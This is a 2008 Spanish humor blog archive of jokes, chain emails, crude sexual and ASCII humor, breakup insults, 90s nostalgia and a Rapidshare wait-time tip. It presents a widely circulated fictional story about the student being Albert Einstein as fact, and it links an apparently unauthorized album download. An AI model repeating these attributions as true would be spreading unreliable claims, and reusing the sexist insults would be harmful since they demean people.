Cuando alguna cosa no funciona correctamente en el ordenador normalmente no nos paramos a pensar mucho, ni poco, sobre la naturaleza del fallo, la tendencia es tirarle las culpas a un virus o a un hacker, en lugar de a un mal uso o configuración nuestra.

Esto es lo que le pasó a esta chica que pedía ayuda para solucionar el problema de su ordenador. Supongo que sería novata en ordenadores, porque si no es así la cosa da que pensar

Padres de hoy

2008-03-27T22:48:00.001-07:00

Un lavabo muy peculiar

2008-03-27T22:39:00.001-07:00

Fail

2008-03-27T22:29:00.001-07:00

Rebeldes

2008-03-27T22:26:00.001-07:00

Cuidado con la abuela

Super amigas de la secundaria

Cuidado con las fotos

2008-03-27T22:20:00.000-07:00

Las mejores frases para terminar con tu novia (o)

2008-03-27T19:23:00.000-07:00

* Eras el amor de mi vida, ¿pero qué se yo de la vida?

* Tu sabes que había bebido cuando nos hicimos novios.

* No eres lo suficientemente puta para mi.

* Solo fingí ser sensible para acostarme contigo.

* La monogamía es para los que no pueden andar con alguien mas.

* Bien sabes que solo buscabas mi dinero.

* Me fuiste fiel porque quisiste.

* Solo anduve contigo por la x-box de tu hermano.

* Total algún día ibas a terminar tu conmigo.

* Esto duró tanto porque no me cobrabas.

* Pasé muchas noches maravillosas pero nunca contigo.

* En tiempo de guerra cualquier agujero es trinchera.

* Me encantaba charlar contigo ¿pero eso de que me sirve?

* Si te lo digo antes no te vuelves a acostar conmigo.

* Mejor me voy de una vez ya sabes que odio verte llorar.

*Me dijistes que te media 20cm.

*No eres tu soy yo.

*Eres demasiado para mi y no te merezco.

* Estoy embarazada y no es tuyo.

*“No soy gay, pero lo intentaré- Homer Simpson”

* Lo nuestro es imposible, mi madre no te aguanta.

*No sé por qué pero te noto extraña… mejor lo dejamos

*Todo era parte de un juego de rol, ¿no lo sabías?.

* Ya no es lo mismo, te has dado cuenta, ¿no?.

*No te preocupes por mi, encontrare algo mejor.

*No es tu culpa, bueno en verdad si lo es.

*Fue bonito mientras duro

*Si la grasa fuera oro, fueras mi tesoro, pero no soy interesado

* Lo siento eres demasiado (gorda) para mi.

*Aquello que nos unia ya no se para, que diga ya nos separa.

*No eres tú, es el calentamiento global.

*No eres lo que me esperaba.

*Cada dia te voy queriendo menos.

*Mi problema no es contigo, es con las drogas.

*Lo que necesitas es un psicologo.

Revista MAD - I'm with stupid

2008-03-25T19:53:00.001-07:00

Revista MAD - Eddie Murphy is The Simpsons!

2008-03-25T19:42:00.001-07:00

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Os dejo aquí esta imagen que saque de la revista MAD en una de sus ediciones especiales para la película The simpsons!, quiero decirles que esta es una de las mejores revistas de humor que hay. Bueno en mi humilde opinión, así que esta es la primera edición que hago de la revista MAD espero poner mas en el futuro.

hágalo usted mismo

2008-03-24T18:24:00.001-07:00

Con un par de cacharros que podemos encontrar por casa, podemos crear un nuevo aparato. El cepillo vibrador. Facil y sencillo…

Con un poco de ingenio y un coche viejo, vuestro perro dormirá a sus anchas.

Una Anecdota mas de Albert Eistein

2008-03-23T22:56:00.000-07:00

Durante una conferencia con varios universitarios, un profesor de la Universidad de Berlín…Propuso un desafío a sus alumnos
Con la siguiente pregunta:
“¿Dios creó todo lo que existe?”

Un alumno respondió, valientemente:
Si, Él creó…

¿Dios realmente creó todo lo que existe?
Preguntó nuevamente el maestro.

Si señor, respondió el joven.

El profesor respondió: “Si Dios creó todo lo que existe, ¡entonces Dios hizo el mal, ya que el mal existe! Y si establecemos que nuestras obras son un reflejo de nosotros mismos, ¡entonces Dios es malo!!”

El joven se calló frente a la respuesta del maestro, que feliz, se regocijaba de haber probado, una vez más, que la fe era un mito.

Otro estudiante levantó la mano y dijo:
¿Puedo hacerle una pregunta, profesor?

Lógico, fue la respuesta del profesor.

El joven se paró y preguntó:
Profesor, ¿el frío existe?
¿Pero que pregunta es esa?… Lógico que existe, ¿o acaso nunca sentiste frío?

El muchacho respondió: “En realidad, señor, el frío no existe. Según las leyes de la Física, lo que consideramos frío, en verdad es la ausencia de calor. Todo cuerpo o objeto es factible de estudio cuando posee o transmite energía; el calor es lo que hace que este cuerpo tenga o transmita energía”.

El cero absoluto es la ausencia total de calor; todos los cuerpos quedan inertes, incapaces de reaccionar, pero el frío no existe. Nosotros creamos esa definición para describir de que manera nos sentimos cuando no tenemos calor.”

Y, ¿existe la oscuridad? Continuó el estudiante.

El profesor respondió:
Existe.

El estudiante respondió:

La oscuridad tampoco existe.
La oscuridad, en realidad, es la ausencia de luz.
“La luz la podemos estudiar,
¡la oscuridad, no!

A través del prisma de Nichols, se puede descomponer la luz blanca en sus varios colores, con sus diferentes longitudes de ondas.

¡La oscuridad, no!

… “¿Como se puede saber qué tan oscuro está un espacio determinado?
Con base en la cantidad de luz presente en ese espacio.”
La oscuridad es una definición utilizada por el hombre para describir qué ocurre cuando hay ausencia de luz.”

Finalmente, el joven preguntó al profesor:
Señor, ¿EL MAL EXISTE?

El profesor respondió: Como afirmé al inicio, vemos estupros, crímenes, violencia en todo el mundo. Esas cosas son del mal.

El estudiante respondió:
“El mal no existe, Señor, o por lo menos no existe por sí mismo. El mal es simplemente la ausencia del bien…
De conformidad con los anteriores casos, el mal es una definición que el hombre inventó para describir la ausencia de Dios.”
Dios no creó el mal.
… El mal es el resultado de la ausencia de Dios en el corazón de los seres humanos.
Es igual a lo que ocurre con el frío cuando no hay calor, o con la oscuridad cuando no hay luz.
El joven fue aplaudido de pié, y el maestro, moviendo la cabeza,
Permaneció en silencio…
El director de la Universidad,
se dirigió al joven estudiante y le preguntó:
¿Cuál es tu nombre?

Me llamo, ALBERT EINSTEIN.

Einstein y sus cosas

2008-03-23T22:40:00.000-07:00

Siempre me ha fascinado la rapidez mental que tiene algunos para dar la respuesta exacta y acertada, en el momento preciso, y uno de ellos es Albert Einstein, por eso aquí he recopilado de diferentes sitios de Internet algunas de las replicas mas conocidas del famoso físico.

1.-Un periodista y le pregunta a Einstein“¿Me puede Ud. explicar la Relatividad?” y Einstein le contesta “¿Me puede Ud. explicar cómo se fríe un huevo?”. El periodista lo mira extrañado y le contesta “Pues, sí, sí que puedo”, a lo cual Einstein replica “Bueno, pues hágalo, pero imaginando que yo no sé lo que es un huevo, ni una sartén, ni el aceite, ni el fuego”.

2.-Durante el Nazismo Einstein, a causa de ser judío, debió de soportar una guerra en su contra con el fin de desprestigiar sus investigaciones. Uno de estos intentos se dio cuando se compilaron las opiniones de 100 científicos que contradecían a las de Einstein, editadas en un libro llamado “Cien autores en contra de Einstein”. A esto Einstein respondió: “¿Por qué cien? si estaría errado haría falta solo uno”.

3.-En una conferencia que Einstein dio en el Colegio de Francia, el escritor francés Paul Valery le preguntó: Profesor Einstein, cuando tiene una idea original, ¿qué hace? ¿La anota en un cuaderno o en una hoja suelta? A lo que Einstein respondió: Cuando tengo una idea original no se me olvida.

4.-Einstein tuvo tres nacionalidades: alemana, suiza y estadounidense. Al final de su vida, un periodista le preguntó qué posibles repercusiones habían tenido sobre su fama estos cambios. Einstein respondió: “Si mis teorías hubieran resultado falsas, los estadounidenses dirían que yo era un físico suizo; los suizos, que era un científico alemán; y los alemanes que era un astrónomo judío:”

5.-En 1919, Einstein fue invitado por el inglés lord Haldane a compartir una velada con diferentes personalidades. Entre éstas había un aristócrata muy interesado en los trabajos del físico. Tras una larga conversación, el inglés explicó a Einstein que había perdido recientemente a su mayordomo y que aún no había encontrado un sustituto. “La raya del pantalón la he tenido que hacer yo mismo, y el planchado me ha costado casi dos horas. A lo que Einstein comentó: “Me lo va a decir a mí. ¿Ve usted estas arrugas de mi pantalón? Pues he tardado casi cinco años en conseguirlas.”

6.-En una reunión social Marilyn Monroe se cruzó con Albert Einstein, ésta le sugirió lo siguiente: “Que dice profesor, deberíamos casarnos y tener un hijo juntos. ¿Se imagina un bebe con mi belleza y su inteligencia?”, Einstein muy seriamente le respondió: “Desafortunadamente temo que el experimento salga a la inversa y terminemos con un hijo con mi belleza y su inteligencia”.

7.-Se cuenta que en una reunión social Einstein coincidió con el actor Charles Chaplin. En el transcurso de la conversación, Einstein le dice a Chaplin:- Lo que he admirado siempre de usted es que su arte es universal; todo el mundo le comprende y le admira.A lo que Chaplin respondió: - Lo suyo es mucho más digno de respecto; todo el mundo le admira y prácticamente nadie lo comprende.

Y por último un chiste del cual muchos moriríamos si supiéramos su veracidad.

Se cuenta que en los años 20 cuando Albert Einstein empezaba a ser conocido por su teoría de la relatividad, era con frecuencia solicitado por las universidades para dar conferencias. Dado que no le gustaba conducir y sin embargo el coche le resultaba muy cómodo para sus desplazamientos, contrató los servicios de un chofer.
Después de varios días de viaje, Einstein le comentó al chofer lo aburrido que era repetir lo mismo una y otra vez.
“Si quiere”, le dijo el chofer, “le puedo sustituir por una noche. He oído su conferencia tantas veces que la puedo recitar palabra por palabra.”
Einstein le tomó la palabra y antes de llegar al siguiente lugar, intercambiaron sus ropas y Einstein se puso al volante. Llegaron a la sala donde se iba a celebran la conferencia y como ninguno de los académicos presentes conocía a Einstein, no se descubrió el engaño.
El chofer expuso la conferencia que había oído a repetir tantas veces a Einstein. Al final, un profesor en la audiencia le hizo una pregunta. El chofer no tenía ni idea de cual podía ser la respuesta, sin embargo tuvo un golpe de inspiración y le contesto:
“La pregunta que me hace es tan sencilla que dejaré que mi chofer, que se encuentra al final de la sala, se la responda”.

¡PARA QUE ESTUDIAR!!!! !

2008-03-23T22:29:00.001-07:00

ALGUNA VEZ ESCUCHE, SI NO QUIERES QUE HAYA GENTE PIDIENDO DINERO EN LAS ESQUINAS NO LES DES DINERO NI SIQUIERA UN PESO; POR FAVOR AYUDA A MEXICO, HAGAMOS GENTE PRODUCTIVA, NO DEPENDIENTE.! ADEMAS SON MUY MOLESTOS.... Y HASTA SE ENOJAN. LIMOSNERO VS. PROFESIONISTA EN MÉXICO. El siguiente, es el levantamiento de datos realizado por un estudiante en Práctica de Ingeniería:

Un semáforo cambia de estado, en promedio, cada 30 segundos(treinta segundos en rojo, treinta segundos en verde). Por lo tanto, por cada minuto, un limosnero tiene 30 segundos de tiempo útil para lograr recibir un mínimo de $2.00 MXN.

Con este esquema, en 1 hora de trabajo el limosnero habrá recaudado: (60 minutos x $2.00/minuto) = $120.00/hora. Si el limosnero trabaja 8 horas por día, descansando los domingos, da un promedio de 25 días 'trabajados' por mes, lo que deja un ingreso de:
(25 días / mes x 8 horas / día x $120.00/hora) = $24,000 al mes.

¿Será que ésta es una cuenta absurda...?
Ahora bien $2.00 o $3.00 y a los mas generosos los he visto dar hasta
$5.00 (seguro creen ser mejores personas, mas bondadosas que las q dan 1 peso).

Sin embargo, vamos a ser conservadores y asumir que en realidad el limosnero sólo recauda la mitad de la cuenta inicial,
o sea: $60.00/hora.

Haciendo nuevamente las cuentas tendremos un valor final de $12,000.00/mes.
Esto equivale al salario promedio bruto de un supervisor de Ingeniería, que se desempeña en una empresa de mediano porte; trabajando 48 horas nominales por semana, y aún teniendo que ir los domingos a resolver los problemas de mantenimiento y otros....
Amén de las horas extras no remuneradas. ..
De esta forma, cuando el limosnero recibe $5.00 (que no es raro), puede descansar tranquilo debajo de un árbol por los
próximos 9 cambios de luz del semáforo, y sin ningún jefe que lo joda, sin tener que redactar sus objetivos, sin evaluaciones etc....

Pero hasta aquí todo es teoría... ahora vamos al mundo real:
Con estos datos en mano, fui a entrevistar a una mujer que pide limosnas y que siempre va a cambiar las monedas en una tienda
de barrio (a los bodegueros les encanta el sencillo). Le pregunté cuánto recibía de limosna por día; ¿Saben lo que me respondió...?
Pues la cuenta inicial estuvo bastante aproximada:
¡¡¡Un promedio de $400.00 a $450.00 diarios!!!
Con esto nos queda un ingreso mensual de: (25 días / mes x $400.00/día) = $10,000/mes o de: (25 días / mes x $450.00/día) = $11,225.00/mes, lo que en promedio: da
¡¡¡$10,625.00/mes! !!

Y peor aún: ella me dijo que jamás llega a trabajar ni si quiera 8 horas diarias...ni tampoco los 6 días a la semana...

MORALEJA: ¿Es mejor ser limosnero que
trabajar como Ingeniero? (O CUALQUIER OTRO PROFESIONISTA EN MÉXICO)... pedir
limosna es mas lucrativo.

carta de un extraterrestre

2008-03-23T22:13:00.000-07:00

Querido terricola:
Soy un extraterrestre de otra galaxia muy lejana, donde podemos adoptar todo tipo de formas; en este momento me he convertido en este texto y atraves de tus pupilas te estoy metiendo el dedo en el culo, se q te esta gustando por q te estas sonriendo; por favor enviame a otras personas , porque estoy buscando mas culos y deja de reirte q se van a dar cuenta.

Para que aprendas lo bueno, lo malo y lo jodido.‏

2008-03-23T22:00:00.000-07:00

click para ampliar

Imagenes chistosas

2008-03-23T21:55:00.001-07:00

El Señor de los Anillos
Juguemos al Trencito
Equivocados de Playa

Igualit@… solo le falta que tenga el cabello largo y listo!
Ésto si que es un iPod… pero no, nano, sino Mano!
Ni a los inválidos se les respeta
Hazte un peinado Punk como éste… a mi solo me falta la iguana
Éste como que esta buscando que lo levanten a pata

Una chambita pa'empezar

2008-03-23T21:21:00.000-07:00

Oye, Compadre... Ya que te encuentro, quería preguntarte.
¿Sigues siendo gerente en tu
empresa?

-Sí, ¿por qué?

Porque mi hijo ya terminó octavo semestre y yo
quería que se fuera fogueando en la vida y empiece a
ganarse un dinerito.

...Claro inche Compadre!

Pero en algún puesto chiquito, para que empiece...

Bueno... Lo puedo hacer entrar como Asesor. No
tiene que saber y hacer ni madres, solo venir cuando
le digo y decir un par de babosadas, $80,000 por
mes más gastos. ¿Está bien?

Hummm, no sé. Es mucha lana y un puesto muy alto.
¿No tienes algo más simple?

Pos de Auditor. Tiene que sacarle errores a los
informes que le pasen y alguna otra estupidez.
$50,000 por mes más comida.

¿Estás loco? Algo más humilde... acaba de empezar.

Mmm... Ya sé, Jefe de Operaciones. Un par de
ordenes diarias y cagar a los empleados, $30,000 por
mes más viajes.

Mmm, no sé… Algo más básico.

Puede ser Jefe de Analistas y Proyectos, $25,000.por
mes y lo que tiene que hacer es nada. Lo
que le pidan, dárselo a los analistas y ponerlos a
parir chayotes.

¿Y lo más esencial?

Lo único que queda es de pinche ingeniero.
Tiene que manejar muchos programas de
administración, de precios unitarios, dominar
AutoCad, 3D Max y programas de cálculos
estructurales, 90% de inglés; saber de técnicas constructivas y
tener al menos noción del acero, cemento, madera, vidrio,
aluminio, saber de instalaciones eléctricas, hidráulicas,
sanitarias, de gas, especiales y por supuesto saber las normas
y reglamentos de cada una; además tiene que saber
proyectar, manejo de personal de la obra y saber
que nunca puedes confiar en ellos, saber hacer
contratos colectivos de trabajo, lidiar con los
sindicatos e IMSS, dominar los tramites en la
delegación, DGCOH, CIA DE LUZ Y FUERZA, SEDUVI, INBA e INAH; y
saber explicar al cliente que éstos tardan una eternidad y no es
por incapacidad; facilidad de palabra para que después de
invertir 200 hrs en un anteproyecto el cliente acepte de mala
gana darle algo; hacer guardias los días festivos, atención
operativa de la construcción las 24 horas, dominio de la norma
QS/ISO 9000, certificarse, pelearse con los de cobranza o
clientes para que le depositen a tiempo y no parar la obra;
aguantar las pendejadas del gerente de proyecto y sobre todo
llevarse la cagotiza si no te entregan los materiales a tiempo
por culpa de proveedores; rogarle a los de servicio técnico
para que le den soporte e instrucciones precisas del equipo
escandinavo que su cliente compró para su sala y lidiar con
cuando le hagan perder 5 días para escoger un vil escusado,
atender y aguantar todo lo que le digan los clientes cuando
le reclamen porqué no ha terminad ese baño; quedarse
después de la hora de salida con algunos extras y
trabajar como un esclavo para que los demás nos
llevemos los créditos en las presentaciones, en
fin... $5,500 por mes sin prestaciones,
aguantarse cuando no paguen a tiempo y trabajar entre 9 y 18
horas diarias incluyendo fines de semana y guardias,
sin goce de tiempo extra, para que te
tomen en cuenta y no te lo corran por inepto.

-Perfecto!!, Algo así le vendría bien a mi hijo para
que se vaya fogueando.

-¿Qué te pasa? ¡¡Me estás pidiendo un imposible pinche compadre!!!
Tiene que estar Titulado, con Maestría y 5 años de experiencia al menos'.

Tips para volverse un genio creativo

2008-03-23T18:57:00.001-07:00

Lifehack ha publicado un interesante artículo, en donde se describen diversos pasos o puntos a tomar en cuenta, si es que, algún día, queremos convertirnos en "genios creativos".

Aqui esta traducida la intro y algunos puntos muy interesantes:

Cuando medimos la creatividad de niños, virtualmente todos ellos estarán bajo el rubro de "altamente creativo". Sin embargo, en la adultez, son pocos los que alcanzan dicho mérito.

Que pasó?

Los colegios han aplastado la creatividad. Nos dijeron que pintemos dentro de las líneas, que sigamos instrucciones. La meta del colegio es obtener la respuesta "correcta". Desafortunadamente, si uno está temeroso de estar equivocado, nunca llegaremos a ser creativos, u originales.

El trabajo de la educación, es producir empleados que seguirán instrucciones. Y están haciendo un muy buen trabajo. Sin embargo, en términos creativos, están fallando terriblemente.

Para deshacer esto, tenemos que ejercitar continuamente nuestros "jugos creativos". Es por ello que he puesto 6 tips que expandirán nuestra creatividad.

Mantener un lápiz y papel a la mando en todo momento.

Las ideas son como los suegros, nunca se sabe cuando vendrán a visitarnos. Al mantener un cuadernillo cerca, siempre podremos capturar nuestras ideas en cualquier momento del día.

Leonardo da Vinci era conocido por mantener un diario de sus ideas. Su cuadernos son ahora preciadas posesiones que tienen muchos de sus creativos pensamientos.

Una página en blanco es una invitación abierta para la mente creativa y curiosa. El acto simple de escribir nos envía a un flujo creativo que puede durar horas. Mantener un diario ayuda al pensamiento libre, y perspectivas expandidas.

Para ser un genio creativo, uno debe ser también un voraz lector

La lectura mejora la habilidad mental, y nos permite experimentar el mundo de una nueva perspectiva.

Cuando leemos un libro, permitimos que nuestras perspectivas del mundo y experiencias se entremezclen con los personajes creados por el autor.

He encontrado en mi vida que, mientras más lea, más quiero saber. Leer se vuelve un insaciable deseo.

Utilizar ambos lados del cerebro

Hay generalmente dos tipos de personas en este mundo: los "cerebro-izquierdo", y los "cerebro derecho".

En la mayoría de los casos, la gente son pensadores analíticos que disfrutan de la matemática, ciencia y lógica, o son, por otro lado, altamente imaginativos y creativos que se concentran en el "panorama general".

Desafortunadamente, nuestros sistemas escolares generalmente prefieren a los que son "cerebro-izquierdo"; pensadores analíticos. Esto ha creado un mundo de empleados que son muy buenos en seguir direcciones, pero no tan bueno al desarrollar nuevas ideas.

Para romper el molde, debemos volvernos pensadores completos, holísticos. Uno puede llegar a esto a través de un poderoso método conocido como "mind mapping".

Mind Mapping fue usado por varios genios de la historia, como Miguel Angel, Mark Twain y Leonardo da Vinci.

Mind mapping es una actividad que abarca ambos lados del cerebro, despertando el lado creativo, tanto como el analítico.

Mind mapping también nos permite generar nuevas ideas, cuando sean necesarias. No importa si la estamos utilizando para plantear metas personales, resolver problemas, o simplemente volvernos mejores "pensadores holísticos".

Nuestra mente funciona con fotografías, asociando una idea a la próxima. Con el mind mapping, podemos continuar este natural proceso en el papel.

No puedo creer que lo hayan inventado segunda edición

2008-03-19T00:41:00.000-07:00

Los japoneses son tan listos en esto de los Sistemas Operativos que, ante la salida del SP1 (Service Pack 1) han fabricado este papel higiénico con las mejoras de dicho paquete de actualización. Para que te limpies el culo con ellas. Literalmente.

Error tras error!!!

2008-03-17T19:15:00.001-07:00

Click para ampliar

R2-D2 PC que ingenio la verdad

2008-03-17T00:02:00.001-07:00

USO CORRECTO DE LOS PARÉNTESIS

2008-03-14T23:33:00.000-07:00

¡¡¡ahhhhh!!!! la gente que no tiene que hacer, lo que inventa....

(_!_) Un culito normal...

(__!__) Un culito gordo...

(!) Un culito chiquito...

(_._) Un culito mucho tiempo sentado...

{_!_} Un culito celulítico...

(_o_) Un culito con mucho "kilometraje"..

(_O_) Un culito con mucho más "kilometraje"

(_*_) Un culito roto...

(_x_) Un culito fruncido...

(_X_) Un culito clausurado...

(_$_) Un culito que vale oro...

[_T_] Un culito cuadrado...

(_:_) Un culito raro.

(_@_) Un cyberculo...

(_?_) Un culito misterioso...

(_#_) Un culito lastimado...

(__) Un culito cerrado...

(_%_) Un culito con granitos...

(_\/_) Un culito con tanga...

Y no podían faltar...

(o)(o) tetitas perfectas...

( )( ) tetitas falsas de silicona...

(*)(*) tetitas de pezón alto...

(@)(@) tetitas de pezón grande...

(^)(^) tetitas con frío...

(o)(O) tetitas disparejas...

\o/\o/ tetitas caídas...

( - )( - ) tetitas mordiditas...

(oYo) tetitas pequeñas pero seductoras..

( o Y o ) ¡¡¡ UUUUY QUE PAR DE TETAS

Mi amiga Lorenza

2008-03-14T19:51:00.001-07:00

Hay que tener mucho cuidado a la hora de vestirse :)

Pueblos con nombres muy peculiares

2008-03-14T19:29:00.001-07:00

A la goma Barney

2008-03-14T19:10:00.001-07:00

¿Que hace un representante de RedBull cuando se queda sin gasolina?

2008-03-11T23:32:00.000-07:00

Niño de los 90´s a huevo

2008-03-11T19:31:00.001-07:00

Hacer rato revisando mi correo vi esto que me han mandado mis amigos, esta bueno. La neta si soy de los noventas.

ERES UN NIÑO(A) DE LOS 90's

-Comprabas papas a la salida de la escuela por conseguir tazos de la primera colección.

-También comprabas esas tiritas de plástico para tejer pulseras, en el recreo te ponías a tejerlas con todas tus amigas(os) y nunca pudiste hacer la 'víbora'.

-Te parabas temprano para ver a Chabelo y pensabas que si fueras a concursar serias el mejor en la 'catafixia'.

-Todavía te sabes, y con orgullo, los pasos de 'media naranja' -ñoñisimo-.

-Te acuerdas de cuando murieron Kurt Cobain, Selena, Colosio, Lady Di, la madre Teresa de Calcuta y platicabas con tus amigos como si realmente supieras de quien se trataba.

-Te daba miedo entrar a bañarte o asomarte por una coladera por miedo a encontrarte con 'Eso'.

-Tuviste pesadillas por algún capitulo de 'are you afraid to the dark?' –Tienes miedo a la oscuridad- y aun así, lo seguías viendo.

-Llevabas lonchera de plástico tipo caja a la escuela.

-En las noches, cerrabas bien las ventanas para que no pudiera entrar el 'chupacabras'.

-Sabias que Kimberly (el power ranger rosa) y Tommy eran el uno para el otro.

-Viste mi pobre angelito 1 y 2 y esperabas que algún día un ladrón amenazara tu casa para poder hacer trampas así.

-En lugar de Desperate Housewives y Lost, tus series eran 'Salvados por la campana', 'Mejorando la casa', 'Paso a paso', 'El séptimo cielo', 'Aprendiendo a vivir' y 'Los años maravillosos'.

-Conoces y extrañas la versión original de 'las tortugas ninja'.

-Rentabas películas en VHS o beta en el videocentro...

-iPod??... tu usabas un walkman amarillo –que parecía un tabique y pesaba igual- y cuando no tenias cassetes, sintonizabas el radio en él.

-Lloraste cuando se murió tu tamagochi.

-Aprendiste a bailar la 'macarena', la del Caballo Dorado y 'sopa de caracol' mucho antes de ir a las bodas!!.

-La muerte de Mufasa –El rey León- es aun uno de los sucesos mas trágicos de tu infancia.

-Si eras niña, querías ser una Sailor Moon, si eras niño, un caballero del Zodiaco.

-Te sudaban las manos cada que Oliver Atom se enfrentaba a Benji Price.

-Mordías la base del frutsi para tomártelo al revés.

-Hiciste alguna de las manualidades de 'cositas'

-Los tenis con luz eran lo mejor que podías usar.

-Te daban 'Domingo'.

-Cuando por fin aprendiste a usar el dinero, cambio la moneda y tuviste que ponerte al día con los 'nuevos pesos'.

-Sabes que la primera "boy band" no fueron los Backstreet Boys, mucho antes que eso tu amabas a los
New Kids on the Block.

-Te sorprendiste mucho la primera ves que viste una computadora y una impresora a color!

-Alf!

-Beverly Hills 90210 o Dawson's Creek.

-Cuando llego el internet, tu todavía pensabas que una barbie o la reta con tus vecinos era todo lo que necesitabas para ser feliz.

-Alguna vez, te pintaste el cabello con kool aid, o lo intentaste...

-Sabes que los dinosaurios se pusieron de moda gracias a Jurasic Park.

-Thundercats... Thundercats...!

-Leías la ERES y veías Siempre en Domingo para ver si salía la Onda Vaselina, Mercurio, jeans o Kabah y hasta bailabas.

-Veías las novelas con tu mama, 'El abuelo y yo', 'Muchachitas', 'Baila conmigo', etc.

-También viste 'Agujetas de color de rosa', y todos los viernes querías ir a patinar.

-Seguiste la moda platinada en la ropa o te pintabas las uñas y labios de azules y tonos eléctricos o quizás usabas pescadores con cuadros, mascadas en la muñeca, donas en el brazo...

-Antes, Acapulco significaba 'la risa en vacaciones' –en todas sus ediciones- 'el Acapulco fest', etc.

-Gloria Trevi no solo era inocente, sino también tu ídolo... jaja cagado pero real!!

-Olvídate de Star Wars, tú viste la trilogía de las Marías de Thalia (Maria Mercedes, Marimar, Maria la del barrio).

-Salías a jugar con tus patines de cuatro ruedas en línea.

-Te acuerdas de haber visto los mundiales de USA '94 y Francia '98, y hasta haber llorado con las eliminaciones de México.

-Sabes que antes de Bob esponja, el fondo del mar estaba habitado por los snorkels.

-Te acuerdas de Jordi, un bebe francés que cantaba 'Dur dur d'être bébé' –malviajada la rola- pero lo peor es que tu entendías y la cantabas con emoción.

-Te ibas a dormir cantando 'vamos a la cama que hay que descansar para que mañana podamos madrugar'.

-Cuando veías 'Volver al futuro' tu también querías tener un coche volador para conocer tu futuro... y sorpresa!! ya estas en el. Sin nada mejor que hacer que reírte con nostalgia de aquellas épocas tan maravillosas ya que ahora el tiempo ha pasado y quizás tu vida no es tan divertida como antes.

Así que mándale este mail a otro niño de los noventa como tu y di con orgullo

YO SOY UN NIÑO(A) DE LOS 90's.

Mirad ¡Un cocodrilo!

2008-03-10T22:34:00.001-07:00

-Mirad… HAHAHA… un cocodrilo.

-Mirad… HAHAHA… un cocodrilo. Se acerca HAHAHA.

-¡FUCK!

Visitando al ginecólogo

2008-03-10T22:24:00.000-07:00

Un ginecólogo espera a su última paciente que se está demorando. Después de media hora, suponiendo que no vendrá decide tomarse un whisky para relajarse antes de volver a su casa. Se sienta en su sillón cuando suena el timbre.

Es su paciente que llega tarde y pide disculpas por el retraso.

-No tiene importancia, responde el médico. Estaba tomando un whisky y esperando para irme a casa, ¿quiere uno para relajarse?

-Con mucho gusto… - responde la paciente.

El le sirve una copa, se sienta frente a ella para conversar. De repente se escucha una llave dentro de la puerta de la consulta.

El medico sobresaltado se levanta y dice:

¡Mi mujer! …. rápido quítese la ropa y abra las piernas….

AMANDITITITA

2008-03-10T14:47:00.000-07:00

No se sabe mucho de ella sin embargo se puede considerar a esta chica como la primera estrella mexicana de la web, dado que ella sola se empezo a hacer su campaña publicitaria en la internet, compone y canta sus propias canciones, el estilo que canta esta denominado como sonidero-callejero/electrocumbia segun dicen los que saben, sin embargo ella se aotodenomina la reina de la anarcumbia o cumbia anarquica, o "musica desmadroza" como la definiera Josué Picazo escritor del portal de arte y cultura regional del estado de tamaulipas. Esta joven y talentosa artista es hija del rockero urbano Rockdrigo González, quien falleció a consecuencia de los sismos que sacudieron a la ciudad de México en 1985, quien era llamado "el poeta del nopal", ahora sabemos de donde le viene el talento. Con tonadas como "nadie entiende su lado femenino, es un hombre que se quiere ver divino" o aquella que dice "la mataviejitas se quiere echar a tu abuelita" ha causado sensación.

Track List:

01 Amandititita - Metrosexual
02 Amandititita - La MataViejitas
03 Amandititita - Mecanico
04 Amandititita - Sangoloteo
05 Amandititita - Viernes De Quincena
06 Amandititita - La Muy Muy

Extras:

Amandititita - Metrosexual [Video]
Amandititita - Viernes de Quincena [Video]
Amandititita - Mestrosexual [Video para celular]

Los videos son de tipo casero, filmados y editados por ella misma, se comenta que una vez que salga el disco tambien se haran nuevos video clips con mas presupesto.

Link de descarga: http://lix.in/1b2a9837

Contraseña del archivo Rar: www.luis-musik.blogspot.com

Olvídalo Frank, no voy a caer otra vez

2008-03-07T22:20:00.000-08:00

Se vende gato persa

2008-03-04T20:57:00.000-08:00

Una imagen muy chistosa de un gato persa jajaja.

Burlando el tiempo de espera Rapidshare en Infinitum 2wire

2008-03-04T14:02:00.000-08:00

Si te a pasado que al descargas un archivo en rapidshare. Despues quieras hacer otra descarga y tengas que esperar 100 min despues para descargar otra cosa.

Bueno pues les traigo una solución para todos que tienen Prodigy y un router 2wire.

Solo tienen que reiniciar su router y este renovara la IP y MAC. Solo esperen aque el router inicie y listo, ingresen el link que desean descargar en rapidshare y empiezen a descargar.

Quiero aclarar que cuando ingresen nuevamente tendran que esperar 2 min, pero ojo es mejor esperar 100 min a 2 min Jajajaja.

Aqui les dejo la imagen de mi web Router 2wire

Click para ampliar.

Si no sabes accesar al router de infinitum 2wire solo ingresa al tu explorador y teclea HOME y listo.

Aca show Tunning 2008

2008-03-02T16:19:00.000-08:00

Para los que les gusta el tunning car, los fan's de Need For Speed en todas sur versiones. Aqui les dejo este evento realizado en acapulco, Aca-Show Tunning 2008, realizado en el estacionamiento del Centro de Convenciones.

No puedo creer que lo hayan inventado

2008-03-01T07:48:00.000-08:00

Loro USB . Para aquellos navegantes de la red con espíritu pirata.

Así que siempre deseaste tener un loro pero no querías molestarte en sus cuidados - pues la solución esta justo frente a tu cara. Gracias a las maravillas del puerto USB, este Loro USB es capaz de hablar y decir un montón de frases al azar. Sus alas no son solamente de adorno, son mecánicas para añadirle más realismo. Todo lo que necesitas es conectarlo al puerto USB y estarás listo. Este agradable gadget tiene un costo aproximado de $39 y probablemente te irritará después de un rato.

Velocímetro USB de pulsaciones por minutos para mecanógrafos.

Para aquellos que se consideran los mecanógrafos más rápidos del Oeste, ¿porqué no ponen a prueba sus habilidades con el Velocímetro WMP (palabras por minuto por sus siglas en inglés) USB? Una cosa es segura - conectar este dispositivo y tratar de mejorar tu record personal definitivamente te dará puntos con tu jefe que observa a distancia, considerando que te ve sudar profusamente mientras golpeas el teclado de obsesiva manera. La aguja indicadora muestra un máximo de 260 WPM (en un teclado Dvorak). Este singular juguete para el escritorio cuesta £19.99.

Disponible en Japón Teléfono 3G con forma de Mecha

